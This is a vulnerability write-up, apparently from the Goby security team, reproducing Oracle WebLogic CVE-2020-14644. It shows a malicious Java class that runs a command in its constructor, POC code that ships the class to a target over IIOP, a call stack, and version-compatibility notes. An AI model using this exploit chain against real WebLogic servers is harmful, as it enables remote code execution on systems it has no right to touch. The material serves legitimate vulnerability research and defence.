Author: WhiteCap Alliance Security Research Institute @Sp4rr0vv
Verified by: WhiteCap Alliance Security Research Institute @r4v3zn
On July 15, 2020, Oracle released a large number of security patches, among which the CVE-2020-14644 vulnerability was rated 9.8 in severity, affecting versions 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0. This article is based on publicly available proof-of-concept (POC) code from the internet for reproduction and analysis. Eventually, we achieved unrestricted defineClass + instantiation, which resulted in remote code execution (RCE).
The ClassLoader
class in the JDK
has a method called defineClass
, which can load a class into the JVM
and return the corresponding Class
object based on the fully qualified name of the class and the byte array of the class (it is worth mentioning that this way of loading classes does not execute class initialization).
So as long as the parameters name
(class name) and b
(binary data of the class file) are controllable, theoretically we can load any class. One thing to note is that the class name name
must be consistent with the class name in the byte array b
, otherwise a NoClassDefFoundError
will occur.
Environment:
- Weblogic 12.2.1.4.0
- JDK 1.8.0_112
- Windows 10
First, prepare a malicious class with a package name, and write malicious code in the constructor.
package com;
import java.io.IOException;
public class EvilObj {
public EvilObj() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
POC
ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new ob ject[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);
Reproduction result:
The following is a simplified version of the call stack:
exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
In summary, the overall idea is to construct a class with a package name, and write malicious code in the constructor. Then, use javassist
to dynamically modify the class name, appending $
and version
values to the original class name. In practical exploitation, the following issues may arise.
Because there is the following chain call in the constructor of ClassIdentity
, and without a package name, getPackage()
will return null
, and further calls will result in a NullPointerException
.
During the utilization process, issues may arise due to the version incompatibility of the JDK.
- The issue can be resolved by specifying the compilation version using the
-source 1.6 -target 1.6
parameters while obtaining the malicious class. - Alternatively, the current running JDK version can be adjusted to the lowest version for utilization.
Due to the version changes in Weblogic, the serialVersionUID
in the coherence.jar
file may not match. Through analysis and testing, it has been determined that the serialVersionUID
is different for 12.2.1.3.0
and 12.2.1.4.0
, 14.1.1.0.0
. Below are the detailed test results:
coherence.jar | WebLogic version | Success |
---|---|---|
12.2.1.3.0 | 12.2.1.3.0 | Yes |
12.2.1.3.0 | 12.2.1.4.0 | No |
12.2.1.3.0 | 14.1.1.0.0 | No |
12.2.1.4.0 | 12.2.1.3.0 | No |
12.2.1.4.0 | 12.2.1.4.0 | Yes |
12.2.1.4.0 | 14.1.1.0.0 | Yes |
14.1.1.0.0 | 12.2.1.3.0 | No |
14.1.1.0.0 | 12.2.1.4.0 | Yes |
14.1.1.0.0 | 14.1.1.0.0 | Yes |
This issue can be resolved through the dynamic loading process using URLClassLoader
. Below is some core code (excerpted from weblogic-framework
):
- CVE-2020-14644 Analysis and Some Thoughts on Gadgets
- https://www.oracle.com/security-alerts/cpujul2020.html
[Goby Official URL](https://gobies.org/)
If you have a functional type of issue, you can raise an issue on GitHub or in the discussion group below:
- GitHub issue: https://github.com/gobysec/Goby/issues
- Telegram Group: http://t.me/gobies (Community advantage: Stay updated with the latest information about Goby features, events, and other announcements in real-time.)
- Telegram Channel: https://t.me/joinchat/ENkApMqOonRhZjFl
- Twitter:https://twitter.com/GobySec